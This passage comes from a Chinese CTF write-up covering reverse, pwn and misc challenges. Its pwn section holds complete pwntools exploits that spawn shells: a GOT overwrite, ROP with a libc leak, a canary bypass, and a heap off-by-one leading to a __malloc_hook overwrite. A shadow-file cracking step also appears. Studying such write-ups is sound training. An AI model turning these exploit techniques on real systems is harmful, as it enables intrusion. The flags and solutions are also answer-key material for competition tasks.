    PYINST20_COOKIE_SIZE = 24           
    PYINST21_COOKIE_SIZE = 24 + 64      
    MAGIC = b'MEI\014\013\012\013\016'  
    def __init__(self, path):
        self.filePath = path
    def open(self):
        try:
            self.fPtr = open(self.filePath, 'rb')
            self.fileSize = os.stat(self.filePath).st_size
        except:
            print('[!] Error: Could not open {0}'.format(self.filePath))
            return False
        return True
    def close(self):
        try:
            self.fPtr.close()
        except:
            pass
    def checkFile(self):
        print('[+] Processing {0}'.format(self.filePath))
        self.fPtr.seek(self.fileSize - self.PYINST20_COOKIE_SIZE, os.SEEK_SET)
        magicFromFile = self.fPtr.read(len(self.MAGIC))
        if magicFromFile == self.MAGIC:
            self.pyinstVer = 20     # pyinstaller 2.0
            print('[+] Pyinstaller version: 2.0')
            return True
        self.fPtr.seek(self.fileSize - self.PYINST21_COOKIE_SIZE, os.SEEK_SET)
        magicFromFile = self.fPtr.read(len(self.MAGIC))
        if magicFromFile == self.MAGIC:
            print('[+] Pyinstaller version: 2.1+')
            self.pyinstVer = 21    
            return True
        print('[!] Error : Unsupported pyinstaller version or not a pyinstaller archive')
        return False
    def getCArchiveInfo(self):
        try:
            if self.pyinstVer == 20:
                self.fPtr.seek(self.fileSize - self.PYINST20_COOKIE_SIZE, os.SEEK_SET)
                (magic, lengthofPackage, toc, tocLen, self.pyver) = \
                struct.unpack('!8siiii', self.fPtr.read(self.PYINST20_COOKIE_SIZE))
            elif self.pyinstVer == 21:
                self.fPtr.seek(self.fileSize - self.PYINST21_COOKIE_SIZE, os.SEEK_SET)
                (magic, lengthofPackage, toc, tocLen, self.pyver, pylibname) = \
                struct.unpack('!8siiii64s', self.fPtr.read(self.PYINST21_COOKIE_SIZE))
        except:
            print('[!] Error : The file is not a pyinstaller archive')
            return False
        print('[+] Python version: {0}'.format(self.pyver))
        self.overlaySize = lengthofPackage
        self.overlayPos = self.fileSize - self.overlaySize
        self.tableOfContentsPos = self.overlayPos + toc
        self.tableOfContentsSize = tocLen
        print('[+] Length of package: {0} bytes'.format(self.overlaySize))
        return True
    def parseTOC(self):
        self.fPtr.seek(self.tableOfContentsPos, os.SEEK_SET)
        self.tocList = []
        parsedLen = 0
        while parsedLen < self.tableOfContentsSize:
            (entrySize, ) = struct.unpack('!i', self.fPtr.read(4))
            nameLen = struct.calcsize('!iiiiBc')
            (entryPos, cmprsdDataSize, uncmprsdDataSize, cmprsFlag, typeCmprsData, name) = \
            struct.unpack( \
                '!iiiBc{0}s'.format(entrySize - nameLen), \
                self.fPtr.read(entrySize - 4))
            name = name.decode('utf-8').rstrip('\0')
            if len(name) == 0:
                name = str(uniquename())
                print('[!] Warning: Found an unamed file in CArchive. Using random name {0}'.format(name))
            self.tocList.append( \
                                CTOCEntry(                      \
                                    self.overlayPos + entryPos, \
                                    cmprsdDataSize,             \
                                    uncmprsdDataSize,           \
                                    cmprsFlag,                  \
                                    typeCmprsData,              \
                                    name                        \
                                ))
            parsedLen += entrySize
        print('[+] Found {0} files in CArchive'.format(len(self.tocList)))
    def _writeRawData(self, filepath, data):
        nm = filepath.replace('\\', os.path.sep).replace('/', os.path.sep).replace('..', '__')
        nmDir = os.path.dirname(nm)
        if nmDir != '' and not os.path.exists(nmDir): # Check if path exists, create if not
            os.makedirs(nmDir)
        with open(nm, 'wb') as f:
            f.write(data)
    def extractFiles(self):
        print('[+] Beginning extraction...please standby')
        extractionDir = os.path.join(os.getcwd(), os.path.basename(self.filePath) + '_extracted')
        if not os.path.exists(extractionDir):
            os.mkdir(extractionDir)
        os.chdir(extractionDir)
        for entry in self.tocList:
            basePath = os.path.dirname(entry.name)
            if basePath != '':
                if not os.path.exists(basePath):
                    os.makedirs(basePath)
            self.fPtr.seek(entry.position, os.SEEK_SET)
            data = self.fPtr.read(entry.cmprsdDataSize)
            if entry.cmprsFlag == 1:
                data = zlib.decompress(data)
                assert len(data) == entry.uncmprsdDataSize 
            if entry.typeCmprsData == b's':
                print('[+] Possible entry point: {0}.pyc'.format(entry.name))
                self._writePyc(entry.name + '.pyc', data)
            elif entry.typeCmprsData == b'M' or entry.typeCmprsData == b'm':
                self._writeRawData(entry.name + '.pyc', data)
            else:
                self._writeRawData(entry.name, data)
                if entry.typeCmprsData == b'z' or entry.typeCmprsData == b'Z':
                    self._extractPyz(entry.name)
    def _writePyc(self, filename, data):
        with open(filename, 'wb') as pycFile:
            pycFile.write(pyc_magic)           
            if self.pyver >= 37:               
                pycFile.write(b'\0' * 4)      
                pycFile.write(b'\0' * 8)       
            else:
                pycFile.write(b'\0' * 4)      
                if self.pyver >= 33:
                    pycFile.write(b'\0' * 4)  
            pycFile.write(data)
    def _extractPyz(self, name):
        dirName =  name + '_extracted'
        # Create a directory for the contents of the pyz
        if not os.path.exists(dirName):
            os.mkdir(dirName)
        with open(name, 'rb') as f:
            pyzMagic = f.read(4)
            assert pyzMagic == b'PYZ\0' 
            pycHeader = f.read(4) 
            if pyc_magic != pycHeader:
                print('[!] Warning: This script is running in a different Python version than the one used to build the executable.')
                print('[!] Please run this script in Python{0} to prevent extraction errors during unmarshalling'.format(self.pyver))
                print('[!] Skipping pyz extraction')
                return
            (tocPosition, ) = struct.unpack('!i', f.read(4))
            f.seek(tocPosition, os.SEEK_SET)
            try:
                toc = marshal.load(f)
            except:
                print('[!] Unmarshalling FAILED. Cannot extract {0}. Extracting remaining files.'.format(name))
                return
            print('[+] Found {0} files in PYZ archive'.format(len(toc)))
            if type(toc) == list:
                toc = dict(toc)
            for key in toc.keys():
                (ispkg, pos, length) = toc[key]
                f.seek(pos, os.SEEK_SET)
                fileName = key
                try:
                    fileName = fileName.decode('utf-8')
                except:
                    pass
                fileName = fileName.replace('..', '__').replace('.', os.path.sep)
                if ispkg == 1:
                    filePath = os.path.join(dirName, fileName, '__init__.pyc')
                else:
                    filePath = os.path.join(dirName, fileName + '.pyc')
                fileDir = os.path.dirname(filePath)
                if not os.path.exists(fileDir):
                    os.makedirs(fileDir)
                try:
                    data = f.read(length)
                    data = zlib.decompress(data)
                except:
                    print('[!] Error: Failed to decompress {0}, probably encrypted. Extracting as is.'.format(filePath))
                    open(filePath + '.encrypted', 'wb').write(data)
                else:
                    self._writePyc(filePath, data)
def main():
    if len(sys.argv) < 2:
        print('[+] Usage: pyinstxtractor.py <filename>')
    else:
        arch = PyInstArchive(sys.argv[1])
        if arch.open():
            if arch.checkFile():
                if arch.getCArchiveInfo():
                    arch.parseTOC()
                    arch.extractFiles()
                    arch.close()
                    print('[+] Successfully extracted pyinstaller archive: {0}'.format(sys.argv[1]))
                    print('')
                    print('You can now use a python decompiler on the pyc files within the extracted directory')
                    return
            arch.close()
if __name__ == '__main__':
    main()


 

然后可以得到.pyc格式的python编译文件,通过在线py反编译或者通过原生python的跨版本反编译器uncompyle6反编译得到python源码,如下

image.png

import os, libnum, binascii

flag = 'unctf{****}'

x = libnum.s2n(flag)

def gen(x):

    y = abs(x)

    while 1:

        if y > 0:

            yield y % 2

            y = y >> 1

    else:

        if x == 0:

            yield 0

l = [i for i in gen(x)]

l.reverse()

f = '%d' * len(l) % tuple(l)

a = binascii.b2a_hex(f.encode())

b = int(a, 16)

c = hex(b)[2:]

print(c)

os.system('pause')

 

所以我们根据源码来写逆向脚本,将txt的数字写入.

import libnum

import binascii

s = '313131303130313031313031313130303131303030313130313131303130303031313030313130303131313130313130313031303130303031313031303030303130303030303030313131303130303031303131313131303131303130303130313131303031313031303131313131303131313030313030313130303130313031313030303031303031313030303130303131303030313031313131303031303130313131313130313130303031313030313130303030303031313030303030303131303030313031313131313031'

d = binascii.a2b_hex(s)

g = int(d,2)

i = libnum.n2s(g)

print (i)

 

运行得到flag:    unctf{Th@t_is_rea11y_c001}

 

CTFilter

#include <iostream>

 

using namespace std;

 

int main()

{

    char f[] = "flag{Oh!You_found_me~}";

    char data[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x0C, 0x58, 0x11, 0x68, 0x30, 0x0C, 0x10, 0x13, 0x30, 0x07, 0x0B, 0x24, 0x6E, 0x5C, 0x1C, 0x21, 0x44, 0x03, 0x18, 0x3E, 0x0B, 0x0F, 0x6E, 0x49, 0x5C };

    for (size_t i = 0; i < sizeof(data); i++)

    {

        cout << char(f[i % strlen(f)] ^ data[i]);

    }

    return 0;

}

Pwn

YLBNB

白给娱乐题,旨在宣传大厂风范,让 YLB成为每一个CTFer都知晓的名字

(放Misc可能更合适)

image.png

提示使用pwntools

image.png

即可获得flag

 

easyheapy

$ checksec heapy

[*] 'heapy'

    Arch:     i386-32-little

    RELRO:    No RELRO

    Stack:    No canary found

    NX:       NX enabled

    PIE:      No PIE

在静态分析二进制文件之后,我们看到使用了基于hash的自定义堆实现halloc。 halloc根据请求的大小((0x9E3779B1 * size) % 0xFFFFFFFF)计算一个弱散列,将此散列解释为地址,并在其中存储mmap一个块。

漏洞利用

我们对全局偏移表附近的地址进行哈希暴力破解,以便我们可以在GOT上分配粘贴,并用该地址覆盖一些GOT条目到我们的Shellcode。

由于NX已被禁用,因此我们分配一个块并向其中写入shellcode。使用哈希公式,我们可以计算shellcode的最终地址。

将所有内容放在一起:

EXP:

from pwn import *
import ctypes
 
LOCAL_BINARY = './heapy'
 
context.binary = LOCAL_BINARY
SC_SPEC_SIZE = 1000
proc = None
def connect():
    global proc
    if args['REMOTE']:
        proc = remote('IP', port)
    else:
        proc = process(LOCAL_BINARY)
 
 
def hash(n):
    return ctypes.c_uint32(0x9E3779B1 * n).value, ctypes.c_uint32(n).value
 
 
if __name__ == '__main__': 
    connect()
    sc = '\x90'*4 + asm(shellcraft.sh()) + '\x90'*4
    addr_sc, size_sc = hash(SC_SPEC_SIZE)
    if len(sc) > size_sc: log.error("sc too large")
    log.info("addr_sc: 0x%x", addr_sc)
 
 
    # create legit chunk at addr_sc and write shellcode
    proc.sendlineafter('Exit', '1')
    proc.sendlineafter('big is', str(size_sc))
    proc.sendlineafter('Exit', '2')
    proc.sendlineafter('paste would', '0')
    proc.sendlineafter('your input', sc)
    # create chunk in front of GOT (0x08049ed9 - 3 bytes read, 4 bytes printf, 4 bytes puts)
    proc.sendlineafter('Exit', '1')
    proc.sendlineafter('big is', '2155026857')
    # overwrite puts with addr of sc
    proc.sendlineafter('Exit', '2')
    proc.sendlineafter('paste would', '1')
    proc.sendlineafter('your input', '\x00'*7 + p32(addr_sc))
    proc.interactive()


 

keer's bug

libc泄露(leak libc),解题脚本:

from pwn import *
context.log_level='debug'
# io=process('./keer')
io=remote('node2.hackingfor.fun',45415)
elf=ELF("./keer's_bug")
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
pay='a'*0x50+p64(0x601700)+p64(0x4005ED)
# gdb.attach(io)
# pause()
io.send(pay)
leave_ret=0x000000000040060d
pop_rdi=0x0000000000400673
pop_rsi_r15=0x0000000000400671
pay=p64(0x601600)+p64(pop_rdi)+p64(1)+p64(pop_rsi_r15)+p64(elf.got['read'])+p64(0)+p64(elf.plt['write'])+p64(0x4005ED)
pay=pay.ljust(0x50,'\x00')+p64(0x601700-0x50)+p64(leave_ret)
io.send(pay)
 
libc_base=u64(io.recvuntil('\x7f')[-6:]+'\x00\x00')-libc.sym['read']
libc.address=libc_base
bin_sh_addr=libc.search('/bin/sh\x00').next()
system_addr=libc.sym['system']
 
io.send(p64(1)*11+p64(pop_rdi)+p64(bin_sh_addr)+p64(system_addr))
io.interactive()


 

Pwngirl

这道题目是我们学校战队去年在国赛分区赛时出的题目,感觉题目还是比较好的,所以这次又改了一下,增加了个后门降低下难度给大家做一下

 

1.检查题目保护,发现有nx、canary保护

image.png

2.分析程序流

3..sub_400866()函数没啥好看,进入sub_400C15()函数,发现简单的逻辑条件,要输入'@'和'^' 字符才能

继续往下执行程序流

       

 

4.继续往下看,sub_400B89()函数,没有问题 

       

       

       

5.查看sub_4008E5()函数发现存在两个数组越界漏洞,利用scanf函数输入v2,可以任意地址写

分析第一个数组越界漏洞发现无法利用该漏洞,因为后面的快排函数(qsort)会打乱我们输入的内容

         

分析第二个数组越界漏洞,发现只有v2满足一定条件,qsort函数才能不扰乱我们输入的的数据,简单

分析一下逻辑发现控制v2等于27,qsort函数就可以不执行。

       

       

7.经过以上分析,思路已经很明确了,利用是数组越界漏洞,同时控制v2=27,覆盖返回地址为后门函

数地址既可,但由于存在canary保护,所以我们还需要绕过canary,泄露canary没有办法,那怎么办

呢?其实scanf函数存在这样一个漏洞,就是当输入的字符为"+"等某些特殊字符时,并不改写内存的数

据,利用这一知识点,我们可以绕过canary。

8.思路比较明确,写exp步骤如下: 

先把简单的逻辑条件过一下: 

p.sendlineafter("[Y/N/@]",'@')

p.sendlineafter("question2:",'^')

p.sendlineafter("your name:",'aaaaa') 

控制v2为27,scanf输入"+"到数组,结合偏移,覆盖返回地址为后门函数地址。偏移是多少?数组起始

地址距离ebp为0x30,距离返回地址就是0x38了,0x38除以4等于14,所以返回地址对应的数组下标是

15,这一步代码如下: 

p.sendlineafter("which girlfriend do you want to change?",str(27))
for i in range(14):
p.sendlineafter("now change:\n","+")
p.sendlineafter("now change:\n",str(0x400c04))
for i in range(12):
p.sendlineafter("now change:\n","+")


最终exp:

#!/usr/bin/python2.7
#coding:utf-8
# eg: python exp.py 192.168.8.101 8888
from sys import *
from pwn import *
 
host = argv[1]
port = int(argv[2])
timeout = 30
context.log_level = 'debug'
 
def getIO():
  return remote(host, port, timeout=timeout)
def getshell():
  p=getIO()
  #p = process("./pwn")
  context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
  p.sendlineafter("[Y/N/@]",'@')
  p.sendlineafter("question2:",'^')
  p.sendlineafter("your name:",'aaaaa')
 
  p.sendlineafter("how many girlfriends do you have?\n",str(1))
  p.recvuntil("th girlfriends:")
  p.sendline(str(1))
 
  p.sendlineafter("you can change your girlfriend",'0')
  p.sendlineafter("which girlfriend do you want to change?",str(27))
  for i in range(14):
    p.sendlineafter("now change:\n","+")
 
  p.sendlineafter("now change:\n",str(0x400c04))
  for i in range(12):
    p.sendlineafter("now change:\n","+")
  p.interactive()
 
if __name__ == '__main__':
  print(getshell())


baby_heap

baby_heap 在出题环节时,由于存在本地测试可以通过但是远程靶机不通过的问题,所以修改了一下题目,增加了后门也顺便降低了难度

1.checksec

开了nx,canary 

2.ida 查看main函数

程序先是输出与stdin地址相关四个变量,但这四个变量都经过了一个加密,可以动态调试一下

stdin+7944是哪里

动态调试发现stdin+7944的地方在free list,似乎是个提示,同时发现global_max_fast 为0x10,

fastbin应该是被禁用了 

根据输出的四个变量值可以发现,前三个变量数值每次都一样 

结合代码分析,这应该是stdin地址的低四位(16进制),这里给出还没加密前大概对应的伪代码

stdin =stdin & 0xffff

v8 = stdin & 0xf;

v9 = (stdin/0x10)&0xf;

v10 = (stdin/0x100)&0xf;

v11 = stdin /0x1000; 

查看加密函数 

一个加密函数,逆向强的师傅可以发现这是个rsa加密函数,公钥是(7,33),由于n = 33,简单分解

n,最后可以得到私钥(3,33)。

4.接着看功能目录

5.查找漏洞函数

发现堆块编辑函数有溢出 

堆块申请函数把可以输入的size加1,导致offff by one

进一步分析,程序真的禁用了fastbin 

同时还有一个后门函数 

总的思路:由于程序禁用了fastbin,所以我们考虑用unsort bin attack 到global_fast_max ,改大

global_fast_max,利用offff by one 布局堆块,构造两个同时指向一个堆块的指针,先释放其中一个堆

块指针到fastbin ,然后改大堆块size并free掉另一个堆块指针,可以在fastbin上构造出main_area地

址,通过overlap修改main_area,fastbin attack 到 IO_2_1_stdout结构,可以leak,接着fastbin

attack到malloc_hook ,打后门函数 

具体步骤如下:

先利用offff by one 构造几个overlap chunk 

new(0x18,'a')#0
new(0x18,'a')#1
new(0x68,'a')#2
new(0x18,'a')#3
new(0x18,'a')#4
new(0x18,'a')#5
 
new(0x18,'a')#6 hack
new(0x68,'a')#7
new(0x78,'a')#8
new(0x18,'a')#9
 
change(4,'\x00'*0x18+'\xb1')
delete(5)
 
new(0x18,"b")#5
new(0x18,"c")#10==6 overlap chunk
new(0x68,"c")#11 == 7 overlap chunk
 
change(4,'\x00'*0x18+'\xb1')
delete(5)
new(0x18,"b")#5
new(0x18,"c")#12==6 overlap chunk
new(0x68,"c")#13 == 7 overlap chunk
new(0x68,"c")#14
new(0x68,"c")#15


这样就可以可以任意写我们构造的overlap chunk,接下来我们修改unsort bin 的fd 和

bk = &free_list 
change(4,'\x00'*0x18+'\xb1')
delete(5)
addr= &free_list 低四位
new(0x18,"c")#5
change(6,p64(0xdeadbeef)+p16(addr)) #修改unsort bin
input()
new(0x88,"a")#16


这里给出前面加密函数经过解密得到的addr,不懂解密的自己爆破去吧,应该问题不大。

def en(c): #解密函数
  c = (c*c*c) % 33
  return c
p.recvuntil('+++++++++welcome to game+++++++\n')
one = p.recvuntil(" ")
two = p.recvuntil(" ")
three = p.recvuntil(" ")
four = p.recvuntil("\n")
 
one=string.atoi(one,16)
two=string.atoi(two,16)
three=string.atoi(three,16)
four = string.atoi(four,16)
 
one = en(one)
two = en(two)
three = en(three)
four = en(four)
 
print "one :"+hex(one)
print "two :"+hex(two)
addr = one + two*0x10+three*0x100+four*0x1000
print "pay :"+hex(addr)


修改完unsort bin 的fd 和bk = &free_list 如下:

此时再申请new(0x88,"a")#16 堆块,可以改写global_fast_max 大小,如下: 

改写完global_fast_max 大小,利用offff by one 布局堆块,构造两个同时指向一个堆块的指针,先释放

其中一个堆块指针到fastbin ,然后改大堆块size并free掉另一个堆块指针,可以在fastbin上构造出

main_area地址,通过overlap修改main_area地址,继续fastbin attack 到 IO_2_1_stdout结构: 

delete(11)
change(6,'\x00'*0x18+'\xf1')
delete(7)
pay2 =payload- 0x120b
change(13,p16(pay2))
change(6,'\x00'*0x18+'\x71')
new(0x68,"a")#7
new(0x68,"a")#11
change(11,'\xfb'*0x33+p64(0xfbad1800)+p64(0)*3+'\x00')
leak = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
log.success('leak: '+hex(leak))
libc_base = leak -(0x7ffff7dd2600-0x7ffff7a0d000)
log.success('base: '+hex(libc_base)) 
接下来还是常规操作,使用fastbin attack 到malloc_hook 改写malloc_hook 为后门函数,如果没有后 
门就打one_gadget,最终exp代码也给出了打one_gadget的:
delete(7)
door = 0x40097F
change(13,p64(malloc_hook-0x23))
new(0x68,"c")#7
new(0x68,"\x00")#17
pay = "\x00"*(0x13-0x8)+p64(door)+p64(door)
change(17,pay)


最终exp:

from pwn import *
from sys import *
 
debug=1
context.log_level='debug'
context.arch='amd64'
libc=ELF("./libc-2.23.so")
 
if debug:
  #p=remote('node2.hackingfor.fun',32103) #121.37.154.209
  #
  #p = remote("127.0.0.1",80)
  p = process("./pwn")
  gdb.attach(p)
else:
  host = argv[1]
  port = int(argv[2])
  p=remote(host, port)
 
def new(sz,content):
  p.recvuntil('>> ')
  p.sendline('1') 
  p.recvuntil('size?')
  p.sendline(str(sz))
  p.recvuntil('content?')
  p.send(content)
 
def delete(idx):
  p.recvuntil('>> ')
  p.sendline('2')
  p.recvuntil('index ?')
  p.sendline(str(idx))
 
def change(idx,content):
  p.recvuntil('>> ')
  p.sendline('4')
  p.recvuntil('index ?')
  p.sendline(str(idx))
  p.recvuntil('new content ?')
  p.send(content)
 
def en(c):
  c = (c*c*c) % 33
  return c
 
#----------hack global_fast_max---
p.recvuntil('+++++++++welcome to game+++++++\n')
one = p.recvuntil(" ")
two = p.recvuntil(" ")
three = p.recvuntil(" ")
four = p.recvuntil("\n")
 
one=string.atoi(one,16)
two=string.atoi(two,16)
three=string.atoi(three,16)
four = string.atoi(four,16) 
 
one = en(one)
two = en(two)
three = en(three)
four = en(four) 
 
print "one :"+hex(one)
print "two :"+hex(two)
 
payload = one + two*0x10+three*0x100+four*0x1000
print "pay :"+hex(payload)
 
new(0x18,'a')#0
new(0x18,'a')#1
new(0x68,'a')#2
new(0x18,'a')#3
new(0x18,'a')#4
new(0x18,'a')#5
 
new(0x18,'a')#6 hack
new(0x68,'a')#7
new(0x78,'a')#8
new(0x18,'a')#9 
 
change(4,'\x00'*0x18+'\xb1')
delete(5)
 
new(0x18,"b")#5
new(0x18,"c")#10==6
new(0x68,"c")#11 == 7
 
change(4,'\x00'*0x18+'\xb1')
delete(5)
new(0x18,"b")#5
new(0x18,"c")#12==6
new(0x68,"c")#13 == 7
new(0x68,"c")#14
new(0x68,"c")#15
 
change(4,'\x00'*0x18+'\xb1')
delete(5)
 
new(0x18,"c")#5
change(6,p64(0xdeadbeef)+p16(payload))
 
new(0x88,"a")#16
input()
delete(11)
change(6,'\x00'*0x18+'\xf1')
delete(7)
pay2 =payload- 0x120b
change(13,p16(pay2))
change(6,'\x00'*0x18+'\x71')
 
new(0x68,"a")#7
new(0x68,"a")#11
change(11,'\xfb'*0x33+p64(0xfbad1800)+p64(0)*3+'\x00')
leak = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
log.success('leak: '+hex(leak))
libc_base = leak -(0x7ffff7dd2600-0x7ffff7a0d000)
log.success('base: '+hex(libc_base))
 
debug = 1
if debug==1:
  #0x4527a 0x45226 0xf0364 0xf1207
  one_gadget=libc_base + 0xf02a4# 0x4526a#0xf02a4#0x45216 # #0xf1147#0x45216
  malloc_hook=libc_base+libc.symbols["__malloc_hook"]
  realloc_hook=libc_base + libc.symbols["__libc_realloc"]
else:
  one_gadget=0x4526a+libc_base
  malloc_hook=libc_base+libc.symbols["__malloc_hook"]
  realloc_hook=libc_base + libc.symbols["__libc_realloc"] 
 
delete(7)
door = 0x40097F
main = 0x400eb5
change(13,p64(malloc_hook-0x23))
new(0x68,"c")#7
new(0x68,"\x00")#17
pay = "\x00"*(0x13-0x8)+p64(door)+p64(door)
change(17,pay) 
 
p.recvuntil('>> ')
 
p.sendline('1')
p.recvuntil('size?')
p.sendline(str(10))
p.interactive()


原神

可以看到有栈溢出漏洞可以利用

我们的目标是system("sh"),因为程序中没有现成的"sh"可以使用,而因为close了标准输出流因此leak libc有困难,但是可以看到全局变量3星的武器数量是最容易增长的,我们把"sh"转换为int等于26739,只要抽到了这么多的3星武器,就能构造ROP,将该全局变量当作字符串参数传入system中拿到shell

可以看到read的字节数刚好可以布置好栈(包含栈对齐的ret)

payload:

#!/usr/bin/python2
from pwn import *
context.os='linux'
context.arch='amd64'
sl=lambda x:io.sendline(x)
rl=lambda :io.recvline()
ra=lambda :io.recv()
rn=lambda x:io.recv(x)
io=process('./GenshinSimulator')
elf=ELF('./GenshinSimulator')
num=0
def ck(ten):
    global num
    if ten:
        ra()
        sl('2')
        rl()
        for i in range(10):
            t=rn(10)
            if t[9]==' ':
                num+=1
            rl()
    else:
        ra()
        sl('1')
        rl()
        t=rn(10)
        if t[9]==' ':
            num+=1
while num<=26729:
    ck(True)
while num!=26739:
    ck(False)
ra()
sl('3')
ra()
sl('1')
ra()
sl('a'*56+p64(elf.search(asm('ret')).next())+p64(elf.search(asm('pop rdi;ret')).next())+p64(0x602314)+p64(elf.plt['system']))
io.interactive()


(若你的环境第一次没有打通,提示sh: 1: xx: not found,多打几次即可)

因为close了标准输出流,因此通过cat flag 1>&2重定向输出流从而读取flag

Misc

YLB's CAPTCHA

设置的字符集为"oO01iIlwWuUpPsSkKzZxXcCvV"

点击验证码可以刷新,碰到O0和1l分不清建议直接跳(出题人自己都分不清楚)

大小写可以通过字体大小来进行判断

 

阴阳人编码

略微需要脑洞

可以看到只有三种bit:就这. 就这¿ 不会吧!

开一下脑洞可以想到oOK. oOK! oOK?

把中文去掉,¿ 换为?,进行oOK解码就可以获得flag

 

爷的历险记

签到题, 方法很多:

  • 看配置文件

  • 修改存档

  • 修改炸师三围((≧▽≦)/)

  • ......还有很多方法.

 

 

YLB绝密文件

文件提取

TCP流11可以看到xor.py

xor.py可以以ASCII码的形式直接复制

 

TCP流16可以看到secret.cpython-38.pyc

 

选择127.0.0.1:54042 -> 127.0.0.1:8080,即客户端发送数据

显示和保存数据为原始数据,复制后以Hex形式导入WinHex或010editor

 

 

 

导入内容为HTTP请求报文,所选为部分即为pyc文件的数据

0D 0A为换行,可以通过这个来判断文件的数据位置

 

TCP流20可以看到YLBSB.zip

按上述方法截取出Zip文件的数据

 

文件解码

分析xor.py可以得知YLBSB的二进制数据进行Base64编码之后再进行异或运算

而key则存在于secret.py中

我们有一个secret的pyc,则可以进行pyc反编译来得到key

 

https://tool.lu/pyc/

 

解码脚本如下

#coding:utf-8
import base64
key="YLBSB?YLBNB!"
file = open("YLBSB.docx", "wb")
enc = open("YLBSB.xor", "rb")
count = 0
cipher = enc.read()
for c in cipher:
    d = chr(c ^ ord(key[count % len(key)]))
    file.write(d.encode())
    count = count + 1
enc.close()
file.close()
file = open("YLBSB.docx", "rb")
plain = base64.b64decode(file.read())
file.close
file = open("YLBSB.docx", "wb")
file.write(plain)
file.close()


 

解码可得YLBSB.docx

最后一行的白色文字即为flag

 

EZ_IMAGE

montage unctf*.jpg -tile 15x15 -geometry 60x60+0+0 test.jpg

 

gaps --image=test.jpg --generation=30 --population=300 --size=60

 

Bash secret

报错使sha值为空

第二个输入空则可以使得判断相等

唯一注意报错时候 所带的指令cat可以执行即可。

baba_is_you

直接strings 图片发现一个bilibili链接,打开链接在评论区找到flag

你能破解我的密码吗

给了一个shadow文件,题目提示破解密码,可以联想到是/etc/shadow那个文件,在网上找个破解工具,我用的是John the ripper,直接用工具就可以得到密码123456,flag是密码的32位小写MD5值

被删除的flag

file命令看一下发现是ext3文件,题目提示flag被删除了,用extundelete恢复文件

躲猫猫

把隐藏的东西全部取消隐藏后可以看到base64编码的flag

解压后也可以再sharedstrings.xml找到这串base64

 

http://330k.github.io/misc_tools/unicode_steganography.html

 

ET-msg

将01绘制成30*80图片后,第一部分为七进制0-6 的二进制表示(最下方点仅表示此处存在数字)

 

 

大括号中为七进制构成的flag,三个七进制一组,对照第一部分解出flag

 

网络深处1

在1-1的txt中提示了音频文件是拨号音,百度一下就能找到解题思路,我们可以使用工具dtmf2num得到电话号码。

 

由此我们可以获得1-2的解压密码是15975384265,在1-2的txt中提到音频文件中有提示,使用工具audacity检查电话录音,可以在频谱图中看到提示,提示如下:

 

这里需要一点脑洞或者较强的搜索能力,可以知道这里的提示是塔珀自指公式(Tupper's self-referential formula),去搜索公式的英文名称,可以找到一堆解题脚本(github上也有),这里我用的是官方脚本(python2)

"""
Copyright (c) 2012, 2013 The PyPedia Project, http://www.pypedia.com
<br>All rights reserved.
Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
# Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
# Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
http://www.opensource.org/licenses/BSD-2-Clause
"""
 
__pypdoc__ = """
Method: Tupper_self_referential_formula
Link: http://www.pypedia.com/index.php/Tupper_self_referential_formula
Retrieve date: Mon, 08 Feb 2016 13:31:06 -0500
Plots the [http://en.wikipedia.org/wiki/Tupper's_self-referential_formula Tupper's_self-referential_formula]:
: <math>{1\over 2} < \left\lfloor \mathrm{mod}\left(\left\lfloor {y \over 17} \right\rfloor 2^{-17 \lfloor x \rfloor - \mathrm{mod}(\lfloor y\rfloor, 17)},2\right)\right\rfloor</math>
The plot is the very same formula that generates the plot.
[[Category:Validated]]
[[Category:Algorithms]]
[[Category:Math]]
[[Category:Inequalities]]
"""
 
def Tupper_self_referential_formula():
 
    k = 636806841748441149520430424833589188759177037328859698297442822360525075777935591258511561103678504668194588265767392588070391371425235386024874208999877070671742739514446873789113892919304003143897818010371222919633926916117305438843774924894345674393131213042025723433372574944395127611321187900851440548029317778644286467667008216891468007549018348860873344998645905591778614023131786190956860171282287515712301530910908477472930274128402926157514941377995194266546730255105927660653573038201475736412983377106755657419378070111067687739052785647
    def f(x,y):
        d = ((-17 * x) - (y % 17))
        e = reduce(lambda x,y: x*y, [2 for x in range(-d)]) if d else 1
        f = ((y / 17) / e)
        g = f % 2
        return 0.5 < g
 
    for y in range(k+16, k-1, -1):
        line = ""
        for x in range(0, 107):
            if f(x,y):
                line += "@"
            else:
                line += " "
        print line
 
 
#Method name =Tupper_self_referential_formula()
if __name__ == '__main__':
    print __pypdoc__
 
    returned = Tupper_self_referential_formula()
    if returned:
        print 'Method returned:'
        print str(returned)


脚本里面是第二版附件的k,上错附件了,所以把解题脚本里面的k换成1-1的txt中的数字就行了,最后跑脚本可以得到flag{Y29pbA==}

 

总结:

hint -> 知识点 -> 工具

拨号音 -> dtmf -> dtmf2num

(音频) -> 频谱图隐写 -> audacity

"我是tupper" -> 塔珀自指公式 -> tupper_self_referential_formula

 

 

mouse_click

题目附件为pcapng格式,使用wireshark打开,可以看到这是USB数据流量包

 

